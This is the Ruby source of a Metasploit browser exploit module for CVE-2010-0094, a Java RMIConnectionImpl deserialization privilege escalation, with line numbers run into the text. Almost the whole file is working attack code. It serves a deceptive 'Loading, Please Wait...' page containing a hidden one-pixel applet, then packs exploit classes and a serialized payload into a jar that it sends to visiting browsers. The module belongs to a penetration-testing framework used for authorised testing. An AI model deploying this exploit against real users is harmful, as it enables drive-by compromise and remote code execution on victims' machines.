Path: blob/master/modules/exploits/multi/browser/java_rmi_connection_impl.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910#11# Superceded by java_trusted_chain12#13# include Msf::Exploit::Remote::BrowserAutopwn14# autopwn_info({ :javascript => false })1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Java RMIConnectionImpl Deserialization Privilege Escalation',21'Description' => %q{22This module exploits a vulnerability in the Java Runtime Environment23that allows to deserialize a MarshalledObject containing a custom24classloader under a privileged context. The vulnerability affects25version 6 prior to update 19 and version 5 prior to update 23.26},27'License' => MSF_LICENSE,28'Author' => [29'Sami Koivu', # Discovery30'Matthias Kaiser', # PoC31'egypt' # metasploit module32],33'References' => [34[ 'CVE', '2010-0094' ],35[ 'OSVDB', '63484' ],36[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html' ],37],38'Platform' => [ 'java' ],39'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },40'Targets' => [41[42'Generic (Java Payload)',43{44'Arch' => ARCH_JAVA,45}46],47],48'DefaultTarget' => 0,49'DisclosureDate' => '2010-03-31',50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)57end5859def on_request_uri(cli, request)60if not request.uri.match(/\.jar$/i)61if not request.uri.match(/\/$/)62send_redirect(cli, get_resource() + '/', '')63return64end6566print_status("#{self.name} handling request")6768send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })69return70end7172paths = [73[ "Exploit.class" ],74[ "Exploit$1.class" ],75[ "Exploit$1$1.class" ],76[ "Exploit$2.class" ],77[ "Payloader.class" ],78[ "PayloadClassLoader.class" ],79[ "payload.ser" ],80]8182p = regenerate_payload(cli)83jar = p.encoded_jar84paths.each do |path|851.upto(path.length - 1) do |idx|86full = path[0, idx].join("/") + "/"87if !(jar.entries.map { |e| e.name }.include?(full))88jar.add_file(full, '')89end90end91fd = File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2010-0094", path), "rb")92data = fd.read(fd.stat.size)93jar.add_file(path.join("/"), data)94fd.close95end9697print_status("Sending Applet.jar")98send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })99100handler(cli)101end102103def generate_html104html = "<html><head><title>Loading, Please Wait...</title></head>"105html += "<body><center><p>Loading, Please Wait...</p></center>"106html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"107html += "</applet></body></html>"108return html109end110end111112113